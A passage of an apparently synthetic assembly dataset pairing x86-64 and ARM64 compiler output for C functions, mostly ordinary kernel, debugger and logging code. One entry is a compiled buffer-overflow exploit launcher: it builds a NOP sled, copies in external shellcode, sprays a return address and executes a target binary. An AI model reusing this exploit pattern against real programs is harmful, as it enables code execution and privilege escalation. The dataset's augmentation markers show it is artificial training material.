mov x0, x21
mov x1, x20
mov x2, x22
bl _dpu_core_perf_init
cbz w0, LBB0_35
; %bb.33:
mov x22, x0
str x22, [sp]
Lloh53:
adrp x0, l_.str.19@PAGE
Lloh54:
add x0, x0, l_.str.19@PAGEOFF
bl _DPU_ERROR
mov x21, x22
b LBB0_25
LBB0_34:
ldr x8, [x19, #48]
ldr x0, [x8, x24]
bl _PTR_ERR
ldr x8, [x19, #48]
ldr x8, [x8, x24]
ldr w9, [x23]
cmp x8, #0
csneg w20, w0, w9, ne
stp x21, x20, [sp]
Lloh55:
adrp x0, l_.str.17@PAGE
Lloh56:
add x0, x0, l_.str.17@PAGEOFF
bl _DPU_ERROR
ldr x8, [x19, #48]
str xzr, [x8, x24]
mov x21, x20
b LBB0_25
LBB0_35:
ldr x0, [x19, #40]
ldr x1, [x19, #24]
bl _dpu_hw_intr_init
str x0, [x19, #32]
bl _IS_ERR_OR_NULL
cbz x0, LBB0_37
; %bb.36:
ldr x0, [x19, #32]
bl _PTR_ERR
mov x21, x0
str x21, [sp]
Lloh57:
adrp x0, l_.str.20@PAGE
Lloh58:
add x0, x0, l_.str.20@PAGEOFF
bl _DPU_ERROR
str xzr, [x19, #32]
b LBB0_24
LBB0_37:
stp xzr, xzr, [x20, #16]
ldr x8, [x19, #24]
ldr x8, [x8, #8]
ldr w8, [x8]
lsl w8, w8, #1
str w8, [x20]
Lloh59:
adrp x8, lCPI0_0@PAGE
Lloh60:
ldr d0, [x8, lCPI0_0@PAGEOFF]
stur d0, [x20, #4]
mov x0, x19
bl __dpu_kms_drm_obj_init
cbz w0, LBB0_39
; %bb.38:
mov x20, x0
str x20, [sp]
Lloh61:
adrp x0, l_.str.21@PAGE
Lloh62:
add x0, x0, l_.str.21@PAGEOFF
bl _DPU_ERROR
mov x0, x21
bl _dpu_core_perf_destroy
mov x21, x20
b LBB0_25
LBB0_39:
mov x0, x19
bl _dpu_vbif_init_memtypes
ldr x0, [x19, #8]
bl _pm_runtime_put_sync
mov w21, #0
b LBB0_27
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh4, Lloh5
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpAdd Lloh8, Lloh9
.loh AdrpAdd Lloh10, Lloh11
.loh AdrpLdrGot Lloh18, Lloh19
.loh AdrpAdd Lloh16, Lloh17
.loh AdrpAdd Lloh14, Lloh15
.loh AdrpAdd Lloh12, Lloh13
.loh AdrpAdd Lloh20, Lloh21
.loh AdrpLdrGot Lloh26, Lloh27
.loh AdrpAdd Lloh24, Lloh25
.loh AdrpAdd Lloh22, Lloh23
.loh AdrpAdd Lloh28, Lloh29
.loh AdrpAdd Lloh30, Lloh31
.loh AdrpAdd Lloh32, Lloh33
.loh AdrpAdd Lloh34, Lloh35
.loh AdrpAdd Lloh36, Lloh37
.loh AdrpAdd Lloh38, Lloh39
.loh AdrpAdd Lloh40, Lloh41
.loh AdrpAdd Lloh42, Lloh43
.loh AdrpAdd Lloh44, Lloh45
.loh AdrpLdrGotLdr Lloh46, Lloh47, Lloh48
.loh AdrpAdd Lloh49, Lloh50
.loh AdrpAdd Lloh51, Lloh52
.loh AdrpAdd Lloh53, Lloh54
.loh AdrpAdd Lloh55, Lloh56
.loh AdrpAdd Lloh57, Lloh58
.loh AdrpLdr Lloh59, Lloh60
.loh AdrpAdd Lloh61, Lloh62
.cfi_endproc
; -- End function
.comm _EINVAL,4,2 ; @EINVAL
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "invalid kms\n"
l_.str.1: ; @.str.1
.asciz "invalid device\n"
l_.str.2: ; @.str.2
.asciz "invalid private data\n"
l_.str.3: ; @.str.3
.asciz "mdp"
l_.str.4: ; @.str.4
.asciz "mdp register memory map failed: %d\n"
l_.str.5: ; @.str.5
.asciz "mapped dpu address space @%pK\n"
l_.str.6: ; @.str.6
.asciz "vbif"
.comm _VBIF_RT,8,3 ; @VBIF_RT
l_.str.7: ; @.str.7
.asciz "vbif register memory map failed: %d\n"
l_.str.8: ; @.str.8
.asciz "vbif_nrt"
.comm _VBIF_NRT,8,3 ; @VBIF_NRT
l_.str.9: ; @.str.9
.asciz "VBIF NRT is not defined"
l_.str.10: ; @.str.10
.asciz "regdma"
l_.str.11: ; @.str.11
.asciz "REG_DMA is not defined"
l_.str.12: ; @.str.12
.asciz "dpu hardware revision:0x%x\n"
l_.str.13: ; @.str.13
.asciz "catalog init failed: %d\n"
l_.str.14: ; @.str.14
.asciz "dpu_kms_mmu_init failed: %d\n"
l_.str.15: ; @.str.15
.asciz "rm init failed: %d\n"
.comm _MDP_TOP,4,2 ; @MDP_TOP
l_.str.16: ; @.str.16
.asciz "failed to get hw_mdp: %d\n"
l_.str.17: ; @.str.17
.asciz "failed to init vbif %d: %d\n"
l_.str.18: ; @.str.18
.asciz "core"
l_.str.19: ; @.str.19
.asciz "failed to init perf %d\n"
l_.str.20: ; @.str.20
.asciz "hw_intr init failed: %d\n"
l_.str.21: ; @.str.21
.asciz "modeset init failed: %d\n"
.no_dead_strip _dpu_kms_hw_init
.subsections_via_symbols
| AnghaBench/linux/drivers/gpu/drm/msm/disp/dpu1/extr_dpu_kms.c_dpu_kms_hw_init.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.globl _tui_set_disassem_content ## -- Begin function tui_set_disassem_content
.p2align 4, 0x90
_tui_set_disassem_content: ## @tui_set_disassem_content
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %rbx
xorl %eax, %eax
callq _tui_locator_win_info_ptr
xorl %eax, %eax
callq _tui_default_tab_len
testq %rbx, %rbx
je LBB0_1
## %bb.2:
movl %eax, %r14d
movq _TUI_DISASM_WIN@GOTPCREL(%rip), %r15
movq (%r15), %rdi
callq _tui_alloc_source_buffer
movq _TUI_SUCCESS@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jne LBB0_8
## %bb.3:
movq (%r15), %rax
movq %rbx, 32(%rax)
movl (%rax), %r12d
leal -2(%r12), %eax
movl %eax, -44(%rbp) ## 4-byte Spill
leal -16(,%r12,8), %eax
leal (%rax,%rax,2), %r13d
movl %r13d, %edi
callq _alloca
movq %rax, %r15
movq %rax, %rdi
xorl %esi, %esi
movl %r13d, %edx
callq _memset
movq %r15, %rdi
movq %rbx, %rsi
movl -44(%rbp), %edx ## 4-byte Reload
callq _tui_disassemble
cmpl $3, %r12d
jl LBB0_6
## %bb.4:
addq $8, %r15
.p2align 4, 0x90
LBB0_5: ## =>This Inner Loop Header: Depth=1
movq -8(%r15), %rdi
callq _strlen
movq (%r15), %rdi
callq _strlen
addq $-24, %r15
jmp LBB0_5
LBB0_1:
movq _TUI_FAILURE@GOTPCREL(%rip), %rax
jmp LBB0_7
LBB0_6:
movl %r14d, %edi
callq _alloca
movq _TUI_DISASM_WIN@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl $0, 8(%rax)
movq _TUI_SUCCESS@GOTPCREL(%rip), %rax
LBB0_7:
movl (%rax), %eax
LBB0_8:
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _TUI_FAILURE,4,2 ## @TUI_FAILURE
.comm _TUI_DISASM_WIN,8,3 ## @TUI_DISASM_WIN
.comm _TUI_SUCCESS,4,2 ## @TUI_SUCCESS
.comm _no_breakpoint_here,8,3 ## @no_breakpoint_here
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.globl _tui_set_disassem_content ; -- Begin function tui_set_disassem_content
.p2align 2
_tui_set_disassem_content: ; @tui_set_disassem_content
.cfi_startproc
; %bb.0:
stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill
stp x24, x23, [sp, #16] ; 16-byte Folded Spill
stp x22, x21, [sp, #32] ; 16-byte Folded Spill
stp x20, x19, [sp, #48] ; 16-byte Folded Spill
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
mov x19, x0
bl _tui_locator_win_info_ptr
bl _tui_default_tab_len
cbz x19, LBB0_5
; %bb.1:
mov x20, x0
Lloh0:
adrp x24, _TUI_DISASM_WIN@GOTPAGE
Lloh1:
ldr x24, [x24, _TUI_DISASM_WIN@GOTPAGEOFF]
ldr x0, [x24]
bl _tui_alloc_source_buffer
Lloh2:
adrp x25, _TUI_SUCCESS@GOTPAGE
Lloh3:
ldr x25, [x25, _TUI_SUCCESS@GOTPAGEOFF]
ldr w8, [x25]
cmp w0, w8
b.ne LBB0_7
; %bb.2:
ldr x8, [x24]
str x19, [x8, #32]
ldr w26, [x8]
sub w22, w26, #2
add w8, w22, w22, lsl #1
lsl w23, w8, #3
mov x0, x23
bl _alloca
mov x21, x0
mov w1, #0 ; =0x0
mov x2, x23
bl _memset
mov x0, x21
mov x1, x19
mov x2, x22
bl _tui_disassemble
cmp w26, #3
b.lt LBB0_6
; %bb.3:
add x19, x21, #8
LBB0_4: ; =>This Inner Loop Header: Depth=1
ldur x0, [x19, #-8]
bl _strlen
ldr x0, [x19], #-24
bl _strlen
b LBB0_4
LBB0_5:
Lloh4:
adrp x8, _TUI_FAILURE@GOTPAGE
Lloh5:
ldr x8, [x8, _TUI_FAILURE@GOTPAGEOFF]
Lloh6:
ldr w0, [x8]
b LBB0_7
LBB0_6:
mov x0, x20
bl _alloca
ldr x8, [x24]
str wzr, [x8, #8]
ldr w0, [x25]
LBB0_7:
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
ldp x20, x19, [sp, #48] ; 16-byte Folded Reload
ldp x22, x21, [sp, #32] ; 16-byte Folded Reload
ldp x24, x23, [sp, #16] ; 16-byte Folded Reload
ldp x26, x25, [sp], #80 ; 16-byte Folded Reload
ret
.loh AdrpLdrGot Lloh2, Lloh3
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpLdrGotLdr Lloh4, Lloh5, Lloh6
.cfi_endproc
; -- End function
.comm _TUI_FAILURE,4,2 ; @TUI_FAILURE
.comm _TUI_DISASM_WIN,8,3 ; @TUI_DISASM_WIN
.comm _TUI_SUCCESS,4,2 ; @TUI_SUCCESS
.comm _no_breakpoint_here,8,3 ; @no_breakpoint_here
.subsections_via_symbols
| assembly_file_61177.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function serial21285_tx_chars
_serial21285_tx_chars: ## @serial21285_tx_chars
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rsi, %rbx
movq 8(%rsi), %rax
testq %rax, %rax
je LBB0_2
## %bb.1:
movq _CSR_UARTDR@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movq %rax, (%rcx)
decl (%rbx)
movq $0, 8(%rbx)
jmp LBB0_11
LBB0_2:
movq 16(%rbx), %r14
movq %r14, %rdi
callq _uart_circ_empty
testq %rax, %rax
je LBB0_4
## %bb.3:
movq %rbx, %rdi
callq _uart_tx_stopped
testq %rax, %rax
jne LBB0_10
LBB0_4:
movl $257, %r15d ## imm = 0x101
movq _UART_XMIT_SIZE@GOTPCREL(%rip), %r13
movq _CSR_UARTFLG@GOTPCREL(%rip), %r12
.p2align 4, 0x90
LBB0_5: ## =>This Inner Loop Header: Depth=1
movq (%r14), %rax
movq 8(%r14), %rcx
movq (%rcx,%rax,8), %rax
movq _CSR_UARTDR@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movq %rax, (%rcx)
movq (%r14), %rax
incq %rax
movslq (%r13), %rcx
decq %rcx
andq %rax, %rcx
movq %rcx, (%r14)
incl (%rbx)
movq %r14, %rdi
callq _uart_circ_empty
decl %r15d
cmpl $2, %r15d
jb LBB0_7
## %bb.6: ## in Loop: Header=BB0_5 Depth=1
movq (%r12), %rax
testb $32, (%rax)
je LBB0_5
LBB0_7:
movq %r14, %rdi
callq _uart_circ_chars_pending
movq _WAKEUP_CHARS@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jge LBB0_9
## %bb.8:
movq %rbx, %rdi
callq _uart_write_wakeup
LBB0_9:
movq %r14, %rdi
callq _uart_circ_empty
testq %rax, %rax
je LBB0_11
LBB0_10:
movq %rbx, %rdi
callq _serial21285_stop_tx
LBB0_11:
movq _IRQ_HANDLED@GOTPCREL(%rip), %rax
movl (%rax), %eax
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _CSR_UARTDR,8,3 ## @CSR_UARTDR
.comm _UART_XMIT_SIZE,4,2 ## @UART_XMIT_SIZE
.comm _CSR_UARTFLG,8,3 ## @CSR_UARTFLG
.comm _WAKEUP_CHARS,8,3 ## @WAKEUP_CHARS
.comm _IRQ_HANDLED,4,2 ## @IRQ_HANDLED
.no_dead_strip _serial21285_tx_chars
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function serial21285_tx_chars
_serial21285_tx_chars: ; @serial21285_tx_chars
.cfi_startproc
; %bb.0:
stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
mov x19, x1
ldr x8, [x1, #8]
cbz x8, LBB0_2
; %bb.1:
Lloh0:
adrp x9, _CSR_UARTDR@GOTPAGE
Lloh1:
ldr x9, [x9, _CSR_UARTDR@GOTPAGEOFF]
Lloh2:
ldr x9, [x9]
str x8, [x9]
ldr w8, [x19]
sub w8, w8, #1
str w8, [x19]
str xzr, [x19, #8]
b LBB0_11
LBB0_2:
ldr x20, [x19, #16]
mov x0, x20
bl _uart_circ_empty
cbz x0, LBB0_4
; %bb.3:
mov x0, x19
bl _uart_tx_stopped
cbnz x0, LBB0_10
LBB0_4:
mov w21, #257 ; =0x101
Lloh3:
adrp x22, _CSR_UARTDR@GOTPAGE
Lloh4:
ldr x22, [x22, _CSR_UARTDR@GOTPAGEOFF]
Lloh5:
adrp x23, _UART_XMIT_SIZE@GOTPAGE
Lloh6:
ldr x23, [x23, _UART_XMIT_SIZE@GOTPAGEOFF]
Lloh7:
adrp x24, _CSR_UARTFLG@GOTPAGE
Lloh8:
ldr x24, [x24, _CSR_UARTFLG@GOTPAGEOFF]
LBB0_5: ; =>This Inner Loop Header: Depth=1
ldp x9, x8, [x20]
ldr x8, [x8, x9, lsl #3]
ldr x9, [x22]
str x8, [x9]
ldr x8, [x20]
add x8, x8, #1
ldrsw x9, [x23]
sub x9, x9, #1
and x8, x8, x9
str x8, [x20]
ldr w8, [x19]
add w8, w8, #1
str w8, [x19]
mov x0, x20
bl _uart_circ_empty
sub w21, w21, #1
cmp w21, #2
b.lo LBB0_7
; %bb.6: ; in Loop: Header=BB0_5 Depth=1
ldr x8, [x24]
ldrb w8, [x8]
tbz w8, #5, LBB0_5
LBB0_7:
mov x0, x20
bl _uart_circ_chars_pending
Lloh9:
adrp x8, _WAKEUP_CHARS@GOTPAGE
Lloh10:
ldr x8, [x8, _WAKEUP_CHARS@GOTPAGEOFF]
Lloh11:
ldr x8, [x8]
cmp x0, x8
b.ge LBB0_9
; %bb.8:
mov x0, x19
bl _uart_write_wakeup
LBB0_9:
mov x0, x20
bl _uart_circ_empty
cbz x0, LBB0_11
LBB0_10:
mov x0, x19
bl _serial21285_stop_tx
LBB0_11:
Lloh12:
adrp x8, _IRQ_HANDLED@GOTPAGE
Lloh13:
ldr x8, [x8, _IRQ_HANDLED@GOTPAGEOFF]
Lloh14:
ldr w0, [x8]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
ldp x24, x23, [sp], #64 ; 16-byte Folded Reload
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGot Lloh7, Lloh8
.loh AdrpLdrGot Lloh5, Lloh6
.loh AdrpLdrGot Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11
.loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14
.cfi_endproc
; -- End function
.comm _CSR_UARTDR,8,3 ; @CSR_UARTDR
.comm _UART_XMIT_SIZE,4,2 ; @UART_XMIT_SIZE
.comm _CSR_UARTFLG,8,3 ; @CSR_UARTFLG
.comm _WAKEUP_CHARS,8,3 ; @WAKEUP_CHARS
.comm _IRQ_HANDLED,4,2 ; @IRQ_HANDLED
.no_dead_strip _serial21285_tx_chars
.subsections_via_symbols
| assembly_file_33860.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function log_buf_append
_log_buf_append: ## @log_buf_append
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %rbx
callq _strlen
movq _FIFO_OVERWRITE@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movq _log_buf@GOTPCREL(%rip), %r14
movq %r14, %rdi
movq %rbx, %rsi
movq %rax, %rdx
callq _fifo_write
movq %rbx, %rdi
callq _strlen
movq %rax, %rbx
movq _log_max_since_clear@GOTPCREL(%rip), %r15
addq (%r15), %rbx
movq %rbx, (%r15)
movq %r14, %rdi
callq _fifo_capacity
cmpq %rax, %rbx
jle LBB0_2
## %bb.1:
movq _log_buf@GOTPCREL(%rip), %rdi
callq _fifo_capacity
movq %rax, (%r15)
LBB0_2:
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _log_buf,4,2 ## @log_buf
.comm _FIFO_OVERWRITE,4,2 ## @FIFO_OVERWRITE
.comm _log_max_since_clear,8,3 ## @log_max_since_clear
.no_dead_strip _log_buf_append
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function log_buf_append
_log_buf_append: ; @log_buf_append
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x0
bl _strlen
mov x2, x0
Lloh0:
adrp x8, _FIFO_OVERWRITE@GOTPAGE
Lloh1:
ldr x8, [x8, _FIFO_OVERWRITE@GOTPAGEOFF]
Lloh2:
ldr w3, [x8]
Lloh3:
adrp x20, _log_buf@GOTPAGE
Lloh4:
ldr x20, [x20, _log_buf@GOTPAGEOFF]
mov x0, x20
mov x1, x19
bl _fifo_write
mov x0, x19
bl _strlen
Lloh5:
adrp x19, _log_max_since_clear@GOTPAGE
Lloh6:
ldr x19, [x19, _log_max_since_clear@GOTPAGEOFF]
ldr x8, [x19]
add x21, x8, x0
str x21, [x19]
mov x0, x20
bl _fifo_capacity
cmp x21, x0
b.le LBB0_2
; %bb.1:
Lloh7:
adrp x0, _log_buf@GOTPAGE
Lloh8:
ldr x0, [x0, _log_buf@GOTPAGEOFF]
bl _fifo_capacity
str x0, [x19]
LBB0_2:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
.loh AdrpLdrGot Lloh5, Lloh6
.loh AdrpLdrGot Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGot Lloh7, Lloh8
.cfi_endproc
; -- End function
.comm _log_buf,4,2 ; @log_buf
.comm _FIFO_OVERWRITE,4,2 ; @FIFO_OVERWRITE
.comm _log_max_since_clear,8,3 ; @log_max_since_clear
.no_dead_strip _log_buf_append
.subsections_via_symbols
| assembly_file_155592.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.section __TEXT,__literal8,8byte_literals
.p2align 3, 0x0 ## -- Begin function main
LCPI0_0:
.quad 0x4025b9be5d52a9da ## double 10.862780491200215
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
subq $1472, %rsp ## imm = 0x5C0
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -40(%rbp)
leaq L_.str(%rip), %rdi
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = [1.0862780491200215E+1,0.0E+0]
movb $1, %al
callq _printf
leaq L_str(%rip), %rdi
callq _puts
leaq L_.str.2(%rip), %rdi
movl $3, %esi
xorl %eax, %eax
callq _printf
movl $133, -1492(%rbp)
incl -1492(%rbp)
movl -1492(%rbp), %esi
leaq L_.str.3(%rip), %rdi
xorl %eax, %eax
callq _printf
leaq L_.memset_pattern(%rip), %rsi
leaq -144(%rbp), %rbx
movl $200, %edx
movq %rbx, %rdi
callq _memset_pattern16
leaq -1488(%rbp), %r14
movq %r14, %rdi
movl $144, %esi
movl $1337, %edx ## imm = 0x539
callq _memset
leaq -1155(%rbp), %r15
movq _shellcode@GOTPCREL(%rip), %rax
movq (%rax), %r12
movq %r12, %rdi
callq _strlen
movq %r15, %rdi
movq %r12, %rsi
movl %eax, %edx
callq _memcpy
leaq L_.str.4(%rip), %rsi
movq %r14, %rdi
movl $4, %edx
callq _memcpy
movq %r14, %rdi
callq _putenv
movq _BIN@GOTPCREL(%rip), %rax
movl (%rax), %edi
movl %edi, %esi
movq %rbx, %rdx
xorl %ecx, %ecx
callq _execl
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
cmpq -40(%rbp), %rax
jne LBB0_2
## %bb.1:
xorl %eax, %eax
addq $1472, %rsp ## imm = 0x5C0
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
LBB0_2:
callq ___stack_chk_fail
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "AUGMENTATION_MARKER: Math op result: %f\n"
L_.str.2: ## @.str.2
.asciz "AUGMENTATION_MARKER: Pointer op result: %d\n"
L_.str.3: ## @.str.3
.asciz "AUGMENTATION_MARKER: Volatile var aug_volatile_var_4916 is %d\n"
.comm _shellcode,8,3 ## @shellcode
L_.str.4: ## @.str.4
.asciz "OUT="
.comm _BIN,4,2 ## @BIN
L_str: ## @str
.asciz "AUGMENTATION_MARKER: Hello from augmentation!"
.section __TEXT,__literal16,16byte_literals
.p2align 4, 0x0 ## @.memset_pattern
L_.memset_pattern:
.quad 3221224376 ## 0xbffffbb8
.quad 3221224376 ## 0xbffffbb8
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-48]! ; 16-byte Folded Spill
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
sub sp, sp, #1456
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w27, -40
.cfi_offset w28, -48
Lloh0:
adrp x8, ___stack_chk_guard@GOTPAGE
Lloh1:
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
Lloh2:
ldr x8, [x8]
stur x8, [x29, #-40]
mov x8, #43482 ; =0xa9da
movk x8, #23890, lsl #16
movk x8, #47550, lsl #32
movk x8, #16421, lsl #48
str x8, [sp]
Lloh3:
adrp x0, l_.str@PAGE
Lloh4:
add x0, x0, l_.str@PAGEOFF
bl _printf
Lloh5:
adrp x0, l_str@PAGE
Lloh6:
add x0, x0, l_str@PAGEOFF
bl _puts
mov w8, #3 ; =0x3
str x8, [sp]
Lloh7:
adrp x0, l_.str.2@PAGE
Lloh8:
add x0, x0, l_.str.2@PAGEOFF
bl _printf
mov w8, #133 ; =0x85
str w8, [sp, #8]
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
ldr w8, [sp, #8]
str x8, [sp]
Lloh9:
adrp x0, l_.str.3@PAGE
Lloh10:
add x0, x0, l_.str.3@PAGEOFF
bl _printf
Lloh11:
adrp x1, l_.memset_pattern@PAGE
Lloh12:
add x1, x1, l_.memset_pattern@PAGEOFF
sub x0, x29, #137
mov w2, #200 ; =0xc8
bl _memset_pattern16
add x20, sp, #14
add x0, sp, #14
mov w1, #144 ; =0x90
mov w2, #1337 ; =0x539
bl _memset
Lloh13:
adrp x8, _shellcode@GOTPAGE
Lloh14:
ldr x8, [x8, _shellcode@GOTPAGEOFF]
Lloh15:
ldr x19, [x8]
mov x0, x19
bl _strlen
mov x2, x0
add x0, x20, #333
mov x1, x19
bl _memcpy
Lloh16:
adrp x1, l_.str.4@PAGE
Lloh17:
add x1, x1, l_.str.4@PAGEOFF
add x0, sp, #14
mov w2, #4 ; =0x4
bl _memcpy
add x0, sp, #14
bl _putenv
Lloh18:
adrp x8, _BIN@GOTPAGE
Lloh19:
ldr x8, [x8, _BIN@GOTPAGEOFF]
Lloh20:
ldr w0, [x8]
sub x2, x29, #137
mov x1, x0
mov x3, #0 ; =0x0
bl _execl
ldur x8, [x29, #-40]
Lloh21:
adrp x9, ___stack_chk_guard@GOTPAGE
Lloh22:
ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
Lloh23:
ldr x9, [x9]
cmp x9, x8
b.ne LBB0_2
; %bb.1:
mov w0, #0 ; =0x0
add sp, sp, #1456
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #48 ; 16-byte Folded Reload
ret
LBB0_2:
bl ___stack_chk_fail
.loh AdrpLdrGotLdr Lloh21, Lloh22, Lloh23
.loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh20
.loh AdrpAdd Lloh16, Lloh17
.loh AdrpLdrGotLdr Lloh13, Lloh14, Lloh15
.loh AdrpAdd Lloh11, Lloh12
.loh AdrpAdd Lloh9, Lloh10
.loh AdrpAdd Lloh7, Lloh8
.loh AdrpAdd Lloh5, Lloh6
.loh AdrpAdd Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "AUGMENTATION_MARKER: Math op result: %f\n"
l_.str.2: ; @.str.2
.asciz "AUGMENTATION_MARKER: Pointer op result: %d\n"
l_.str.3: ; @.str.3
.asciz "AUGMENTATION_MARKER: Volatile var aug_volatile_var_4916 is %d\n"
.comm _shellcode,8,3 ; @shellcode
l_.str.4: ; @.str.4
.asciz "OUT="
.comm _BIN,4,2 ; @BIN
l_str: ; @str
.asciz "AUGMENTATION_MARKER: Hello from augmentation!"
.section __TEXT,__literal16,16byte_literals
.p2align 4, 0x0 ; @.memset_pattern
l_.memset_pattern:
.quad 3221224376 ; 0xbffffbb8
.quad 3221224376 ; 0xbffffbb8
.subsections_via_symbols
| assembly_file_85729.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function forget_frames
_forget_frames: ## @forget_frames
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
